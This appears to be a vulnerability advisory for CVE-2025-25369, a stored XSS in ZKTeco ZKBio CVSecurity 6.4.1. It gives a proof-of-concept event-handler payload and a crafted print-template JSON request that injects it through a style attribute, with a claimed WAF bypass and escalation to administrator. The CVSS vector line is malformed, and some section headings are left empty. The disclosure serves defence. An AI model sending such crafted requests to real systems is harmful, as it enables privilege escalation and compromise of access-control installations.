
Documented XSS exploit for ZKBio CVSecurity v.6.4.1 with WAF bypass, enabling privilege escalation from Template Editor to administrator via crafted print templates.
CVE-2025-25369: Cross Site Scripting vulnerability in ZKTeco ZKBio CVSecurity v.6.4.1
An XSS vulnerability was discovered in ZKBio CVSecurity v.6.4.1.
An attacker could exploit this vulnerability with Template Editor privileges and escalate their privileges to administrator.
Bypassing the built-in WAF was also implemented.
This can lead to complete compromise of the system.
CVSS Score: 4.3 (Low)
Vector: CVSS:4.3 AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L
Affected Component:
Attack Vectors:
Payload:
onpointerdown="prompt(8)"
All data for request:
[{"printType":""background","width":318,"height":505,"printValue":"/upload/pers/101010101.txt"","direction":"1"},{"cell":"printData.person.pin","leftPoint":"77px","topPoint":"323px","width":117,"height":20,"printType":"text","style":"draggable" onpointerdown="prompt(8)" ui-draggable","color":"0, 0, 0","fontSize":"18px","align":"start","fontFamily":""Arial"","printValue":"pers_person_pin","direction":"1"}]


